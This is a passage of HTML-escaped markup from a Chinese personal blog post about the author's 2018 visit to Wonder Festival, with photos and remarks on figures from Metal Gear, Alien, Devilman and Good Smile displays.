	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_111642-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_111642-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_111843-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_111843-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;中午在附近商场的地下吃了家叫“食之秘”的店。这家店卖世界各处的菜，我们点了爱尔兰闷羊腿、炸鸡配玉米片、泰国风味沙爹炒饭、意大利浓菜汤和另外两道截图里没有的菜。我记得还有个泰国风味渔民炒饭，里面有啥脆脆的，还有柠檬块。我喜欢柠檬，感觉还不错。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Wonder_Festival&quot;&gt;Wonder Festival&lt;&#x2F;h2&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;div&gt;
&lt;p&gt;入场时发现大伙的订票方式好像和我不一样。我是支付宝转账给一个叫“*ONISHIMASAYOSHI”的人，他的支付宝头像看起来像刻板印象里的日本瘦老头。进场时的二维码页面也很简陋。其他游客貌似是通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;站买的票。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_1543.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_1543.9ccb93e0fe69edde.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_1543.f755d2524db53478.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_1543.b91e1011d76bc2cb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_1543.f755d2524db53478.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;235&quot;
	width=&quot;1536&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;不过检票机只认码，所以我很快就入场了（好像也没排队&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20180406-131252-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Screenshot_20180406-131252-fs8.png&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;2018&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年小岛应该刚公开&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ludens&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在某个星球上插旗子、上空由光组成的鲸鱼飞过的概念视频。那次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;他还租了场地用来卖各种周边。我本想买一顶棒球帽以示支持，结果排队的人实在太多，算了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c81-256&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_133326-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_133326-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_133744-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_133744-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;另一个展区有各种各样的蝙蝠侠，旁边则摆满了《合金装备》的可动小人。没记错的话，应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;旗下的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;改公司出的。我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;15&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年左右想买他们家的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Big
Boss（好像是《原爆点》那套装备&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但听说做工不好就放弃了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_134030-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_134030-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;然后是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Prime
1，这家公司卖的都是大件。因为大，所以精细，所以真——也所以贵。他们家的展区不是开放式的，里头人很多，所以我没进去。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_134605-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_134605-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;接着是奸笑社。他们摆了好多粘土人。后来我得知有个同学&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;R&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;从咸鱼上收粘土人尸体残块，拼成一个有人样子的再卖出去，我真是惊掉大牙。&lt;&#x2F;p&gt;
&lt;p&gt;奸笑社的展区还有招募模型师的手册，好像是给粘土人做灰模的。我要有那手艺我真想去应聘，主要图个好玩。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_134903-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_134903-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_134920-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_134920-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_135017-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_135017-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_135239-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_135239-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_135256-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_135256-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_135125-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_135125-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;这只竹谷隆之的异形值得好好说说：真是太帅了。看到以后我让它在我的购物车里躺了好久——虽说最后没买。&lt;&#x2F;p&gt;
&lt;p&gt;另外，我是在电影院看的《异形：契约&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，在它之前看过前传和第一部。所以我在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年之前应该就算异形粉丝了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_135415-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_135415-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_135428-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_135428-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;什么叫“仿生女高中生&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;远距离女高中生&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;？女高中生是某种飞机么？&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_135521-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_135521-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;场地深处，B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;社直接开始甩卖。我那时已经好久没拼高达了（主要是初中喜欢&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，买了盒印着福字、背着蝴蝶结的熊霸。当时好像两个熊霸打折，Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;跟我凑了一单，但是他并没有要。我回家后把他那盒拼了，给他发了图片。我那盒好像现在还没动。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140020-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140020-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;感觉好敷衍，连个灰模都没有就敢摆出来。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140538-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140538-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;一些忘记参展商名字，但很酷的展品。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140630-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140630-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140722-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140722-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140737-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140737-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c256-81&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140831-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140831-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140840-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140840-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;不知道为什么模型展会展出画。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140911-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140911-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_140932-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_140932-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我被这个创意惊呆了：如何让纸片人保持纸片，同时又有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的躯体？这就是答案。我当时以为它肯定能大卖，但现在看来貌似不是这样的。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_141227-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_141227-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_141234-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_141234-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_141355-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_141355-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;另一些忘记参展商名字，但很酷的展品。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_141527-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_141527-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_141623-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_141623-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_141850-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_141850-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c256-81&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_142024-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_142024-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_142502-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_142502-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;亏了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_143710-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_143710-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年当然还得有&lt;ruby&gt;逮微鲁曼&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Devil Man&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;。17、18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年我先后看了《春宵苦短，少女前进吧&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;四叠半神话大系》和《Devilman
Crybaby&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。不得不说，汤浅政明乃是动画界的神。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_143845-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_143845-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我有个初中好友很喜欢史迪仔。高中时，她去澳洲了。我记得她跟我说过最后的话是那里校服裙子有点短，刮风时很冷。她叫什么来着？&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_144011-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_144011-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我记得我看过这个，但记不清看的是不是这个了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_144107-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_144107-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;可爱的小机器人，不知道是出自哪里。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_144143-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_144143-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_144156-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_144156-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;就掏&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;230！不掏&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;320！同行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;喜欢《EVA&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，但我不喜欢。&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#%E3%80%8AEVA%E6%96%B0%E5%89%A7%E5%9C%BA%E7%89%88%E3%80%8B&quot;&gt;我去年看了《EVA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;新剧场版&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，&lt;&#x2F;a&gt;结论仍然是不喜欢。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_150252-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_150252-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_150255-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_150255-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;好像是在现场做模型。人很多，没看。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_150636-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
